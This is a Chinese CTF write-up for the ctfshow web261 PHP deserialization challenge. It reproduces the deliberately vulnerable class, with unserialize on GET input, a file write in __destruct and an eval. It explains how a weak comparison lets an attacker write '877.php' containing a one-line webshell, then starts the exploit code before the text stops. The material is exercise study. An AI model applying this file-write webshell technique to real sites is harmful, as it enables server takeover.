[ctfshow]web入门——反序列化（web261+web264-web267）

[ctfshow]web入门——反序列化

ctfshow ：https://ctf.show/challenges#web261-721
群主的视频wp ：https://www.bilibili.com/video/BV1D64y1m78f

本文来自csdn的⭐️shu天⭐️，平时会记录ctf、取证和渗透相关的文章，欢迎大家来我的主页：shu天_优快云博客-ctf,取证,web领域博主 看看ヾ(＠ ˘ω˘ ＠)ノ！！

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
   
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
   
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
   	//因为有__unserialize魔术方法，wakeup被绕过了
        if($this->username!='' || $this->password!=''){
   
            die('error');
        }
    }
    public function __invoke(){
   	//invoke调用不到，eval没法利用
        eval($this->code);
    }

    public function __sleep(){
   
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
   
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
   
        if($this->code==0x36d){
   
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

$this->code==0x36d是弱类型比较，0x36d没有引号代表数字，十六进制0x36d转为十进制是877
我们只要让a=877.php，b为一句话木马即可

<?php
class ctfshowvip{
   
    public $username;
    public $password;